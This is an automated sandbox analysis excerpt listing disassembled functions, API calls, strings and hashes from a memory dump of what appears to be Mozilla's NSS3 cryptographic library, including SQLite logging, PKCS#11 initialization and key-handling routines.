Opcode Fuzzy Hash: bbc405c7ce6882ec95cda8fb4cfaad33f2aa0f25570938e5f88fcd7f159e6abf
Instruction Fuzzy Hash: FBF09C7610160557CA10AFA4E4089577B7CFF4DBB57240328E57A83940D731E116CFD5

Function 6CA37C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA37D35

Strings

database corruption, xrefs: 6CA37D29
%s at line %d of [%.10s], xrefs: 6CA37D2E
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA37D13, 6CA37D1F, 6CA37D47, 6CA37D53, 6CA37D5F

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: a16449d3202ae8666ea727800f82d99936854d04ef6bb12d451b4112b3203d7f
Instruction ID: 31b060a58564e6c64f8931f428970e954289e0f5a494b4f92fa72ffcad2053ae
Opcode Fuzzy Hash: a16449d3202ae8666ea727800f82d99936854d04ef6bb12d451b4112b3203d7f
Instruction Fuzzy Hash: E3312631E04236D7C711CF9DC9909BDB7E1AF84358B591196E448F7B85D270E881CBA0

Function 6CA26C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CA26D36

Strings

database corruption, xrefs: 6CA26D2A
%s at line %d of [%.10s], xrefs: 6CA26D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA26D20

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 45492318a9074b4d5b3f4a83b401de1c0e0f8e4a60319f4ad20dc004e4f82576
Instruction ID: 3eb87a7bb639d53faa188232a7a5c976e2c9d37babe7098fd0e18ed901c86ba0
Opcode Fuzzy Hash: 45492318a9074b4d5b3f4a83b401de1c0e0f8e4a60319f4ad20dc004e4f82576
Instruction Fuzzy Hash: AE213330604B199BC710CE1AC941B5AB7F6AF80318F28852CD8499BF51E374F9C9CB92

Function 6CB5CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CB5CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CB5CC7B), ref: 6CB5CD7A
Part of subcall function 6CB5CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CB5CD8E
Part of subcall function 6CB5CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CB5CDA5
Part of subcall function 6CB5CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CB5CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CB5CCB5
memcpy.VCRUNTIME140(6CBF14F4,6CBF02AC,00000090), ref: 6CB5CCD3
memcpy.VCRUNTIME140(6CBF1588,6CBF02AC,00000090), ref: 6CB5CD2B

Part of subcall function 6CA79AC0: socket.WSOCK32(?,00000017,6CA799BE), ref: 6CA79AE6
Part of subcall function 6CA79AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CA799BE), ref: 6CA79AFC

Part of subcall function 6CA80590: closesocket.WSOCK32(6CA79A8F,?,?,6CA79A8F,00000000), ref: 6CA80597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CB5CCB0

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: cfa92acc2d852307a02d04a7d90d6d63fa433fd679e69393210d256aaacaa7d1
Instruction ID: a21dec88f2b5254a7e3f886b7619dbccf6e4dae3314e4fb9edd22136d19858e9
Opcode Fuzzy Hash: cfa92acc2d852307a02d04a7d90d6d63fa433fd679e69393210d256aaacaa7d1
Instruction Fuzzy Hash: 8E1196F5B042C05FDB019FAAAC067567AB8D356318F181829E46ACFF41E771CC498BE2

Function 6CAC1CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6CAC1CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6CAC1CF1

Part of subcall function 6CBA09D0: PR_Now.NSS3 ref: 6CBA0A22
Part of subcall function 6CBA09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CBA0A35
Part of subcall function 6CBA09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CBA0A66
Part of subcall function 6CBA09D0: PR_GetCurrentThread.NSS3 ref: 6CBA0A70
Part of subcall function 6CBA09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CBA0A9D
Part of subcall function 6CBA09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CBA0AC8
Part of subcall function 6CBA09D0: PR_vsmprintf.NSS3(?,?), ref: 6CBA0AE8
Part of subcall function 6CBA09D0: EnterCriticalSection.KERNEL32(?), ref: 6CBA0B19
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CBA0B48
Part of subcall function 6CBA09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CBA0C76
Part of subcall function 6CBA09D0: PR_LogFlush.NSS3 ref: 6CBA0C7E

Strings

pInitArgs = 0x%p, xrefs: 6CAC1CEC
C_Initialize, xrefs: 6CAC1CD3

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: 490d9b007f04f3d16a4d129a33770ad52b7aefd1e04bcfb40d7ccbde30891992
Instruction ID: 7d3d7f3bd4af624fbc716f1b5a8e749d654961c5361699cb5e3194b5cb9cbb24
Opcode Fuzzy Hash: 490d9b007f04f3d16a4d129a33770ad52b7aefd1e04bcfb40d7ccbde30891992
Instruction Fuzzy Hash: 38015E79701180AFDF019B68FA49B6937B9EB82329F084425E91993721DB34D989CB93

Function 6CA27F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA281DF
LeaveCriticalSection.KERNEL32(?), ref: 6CA28239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA28255
sqlite3_free.NSS3(00000000), ref: 6CA28260

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 8e94f56087d999ae1467b16c2348ad99a094f7e708882e13f0d20ddbedc80043
Instruction ID: ced8370e12002fe335d5eb420237ea5396d17418b0d6327101da9bd646cc3c27
Opcode Fuzzy Hash: 8e94f56087d999ae1467b16c2348ad99a094f7e708882e13f0d20ddbedc80043
Instruction Fuzzy Hash: 7891D172A05268CFEF08DFE8E9497ADB7B5BF06304F1C012AE4269B644D7395985CF81

Function 6CB01D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CB01D8F

Part of subcall function 6CAF14C0: TlsGetValue.KERNEL32 ref: 6CAF14E0
Part of subcall function 6CAF14C0: EnterCriticalSection.KERNEL32 ref: 6CAF14F5
Part of subcall function 6CAF14C0: PR_Unlock.NSS3 ref: 6CAF150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CB01DA6

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CB01E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB01ED0

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 560e6e901b3c88d50f362c2a2ff4ec84030e0d4ee074f29495cd955cf744cca0
Instruction ID: 22accfecf32393667eaf501ad308ed974afa9ad642448e288eba8d380864fd90
Opcode Fuzzy Hash: 560e6e901b3c88d50f362c2a2ff4ec84030e0d4ee074f29495cd955cf744cca0
Instruction Fuzzy Hash: B9517B71A00349CFDB04CF98C884BAEBBB6FF49308F184129E9199B750D731E949CB81

Function 6CB54FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CA385D2,00000000,?,?), ref: 6CB54FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB5500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB550C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB550D6

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 3f634aa49dc7548974d9300b69eb5df120124765e922120b36b80e4f99dad62b
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 824182B2A402518BCB18CF18DCE179AB7E1FF4431871D466DD84ACBB02E375E8A5CB85

Function 6CA7FFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6CA7FDFE), ref: 6CA7FFAD

Part of subcall function 6CA1CA30: EnterCriticalSection.KERNEL32(?,?,?,6CA7F9C9,?,6CA7F4DA,6CA7F9C9,?,?,6CA4369A), ref: 6CA1CA7A
Part of subcall function 6CA1CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CA1CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6CA7FDFE), ref: 6CA7FFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6CA7FDFE), ref: 6CA8001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6CA7FDFE), ref: 6CA8006F

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: 013a5d3a9bc93ce7674c0b0ff7a53affdd6414ccaa01428b1915ce7270cf0efa
Instruction ID: 25aeff33f40f36f28c8abdb72b419b4ddeba2a6eb89260ef230e89bdf8b9407d
Opcode Fuzzy Hash: 013a5d3a9bc93ce7674c0b0ff7a53affdd6414ccaa01428b1915ce7270cf0efa
Instruction Fuzzy Hash: D641F2B1F022559FDF08DFA8E885AAE7779FF49314F08012DD81693701DB35A981CBA1

Function 6CB03D40 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,-0000002C,?,6CB0127F,?), ref: 6CB03D89

Part of subcall function 6CB006F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6CB02E70,00000000), ref: 6CB00701

SECOID_FindOID_Util.NSS3(FFFFFFFF,?), ref: 6CB03DD3

Part of subcall function 6CAF07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA98298,?,?,?,6CA8FCE5,?), ref: 6CAF07BF
Part of subcall function 6CAF07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAF07E6
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF081B
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF0825

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Error$HashLookupTableUtil$Alloc_ConstFind
String ID:
API String ID: 99596740-0
Opcode ID: 9604d414a9e4404cb7cdc41a446bc5075553eaa09e48fbeb8e848707918b3aff
Instruction ID: 763ad513ac1ccd9f69afbcebddf513a59d31e02f02864ec264565986ed3355a9
Opcode Fuzzy Hash: 9604d414a9e4404cb7cdc41a446bc5075553eaa09e48fbeb8e848707918b3aff
Instruction Fuzzy Hash: BF313535B129E19BE7144618D848F5A7A14EB413ACF280776DE14C7FD2EB21EC40C2E3

Function 6CB67DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB67E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB67EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB67EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CB67ED8

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: f1a3491c9feaf9c938a77e4668888cb1c8848f2ed2e9a66a4e23bf28ca15b637
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 1231A2B2A002518FDB04CF09D89099EBBE6FFC831871A8169C8586BB11EB71EC55CBD1

Function 6CB1DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6CAA3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CABAE42), ref: 6CAA30AA
Part of subcall function 6CAA3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA30C7
Part of subcall function 6CAA3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CAA30E5
Part of subcall function 6CAA3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAA3116
Part of subcall function 6CAA3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CAA312B
Part of subcall function 6CAA3090: PK11_DestroyObject.NSS3(?,?), ref: 6CAA3154
Part of subcall function 6CAA3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CB1DBBD), ref: 6CB1DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB1DFEE

Part of subcall function 6CAB86D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAB8716
Part of subcall function 6CAB86D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAB8727
Part of subcall function 6CAB86D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAB873B
Part of subcall function 6CAB86D0: PR_Unlock.NSS3(?), ref: 6CAB876F
Part of subcall function 6CAB86D0: PR_SetError.NSS3(00000000,00000000), ref: 6CAB8787

Part of subcall function 6CADF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CADF854
Part of subcall function 6CADF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CADF868
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CADF882
Part of subcall function 6CADF820: free.MOZGLUE(04C483FF,?,?), ref: 6CADF889
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CADF8A4
Part of subcall function 6CADF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CADF8AB
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CADF8C9
Part of subcall function 6CADF820: free.MOZGLUE(280F10EC,?,?), ref: 6CADF8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6CB1DBBD), ref: 6CB1DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6CB1DBBD), ref: 6CB1E007

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: abd40ee53ac1a2b54f05057cf5f77c558891645d62a757944d9c30faa0a85c96
Instruction ID: d6e572971d2ca2be63fb363185d181c714d4226a4ccfab42bcb415c48ec3d668
Opcode Fuzzy Hash: abd40ee53ac1a2b54f05057cf5f77c558891645d62a757944d9c30faa0a85c96
Instruction Fuzzy Hash: 1131C6B1A0828157DB029A79AD85A9B73A8EF5530CF050135E90AD7F52FB21DA5CC3E3

Function 6CB02C80 Relevance: 6.1, APIs: 4, Instructions: 105COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,6CB01289,?), ref: 6CB02D72

Part of subcall function 6CB03390: PORT_ZAlloc_Util.NSS3(00000000,-0000002C,?,6CB02CA7,E80C76FF,?,6CB01289,?), ref: 6CB033E9
Part of subcall function 6CB03390: PORT_ZAlloc_Util.NSS3(0000001C), ref: 6CB0342E

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB01289,?), ref: 6CB02D61

Part of subcall function 6CB00B00: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB00B21
Part of subcall function 6CB00B00: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB00B64

PR_SetError.NSS3(FFFFE02D,00000000,?,?,?,?,6CB01289,?), ref: 6CB02D88
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6CB01289,?), ref: 6CB02DAF

Part of subcall function 6CABB8F0: PR_CallOnceWithArg.NSS3(6CBF2178,6CABBCF0,?), ref: 6CABB915
Part of subcall function 6CABB8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000001,?), ref: 6CABB933
Part of subcall function 6CABB8F0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,?), ref: 6CABB9C8
Part of subcall function 6CABB8F0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CABB9E1

Part of subcall function 6CB00A50: SECOID_GetAlgorithmTag_Util.NSS3(6CB02A90,E8571076,?,6CB02A7C,6CB021F1,?,?,?,00000000,00000000,?,?,6CB021DD,00000000), ref: 6CB00A66

Part of subcall function 6CB03310: SECOID_GetAlgorithmTag_Util.NSS3(?,00000000,FFFFFFFF,?,6CB02D1E,?,?,?,?,00000000,?,?,?,?,?,6CB01289), ref: 6CB03348

Part of subcall function 6CB006F0: PORT_ZAlloc_Util.NSS3(0000000C,00000000,?,6CB02E70,00000000), ref: 6CB00701

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

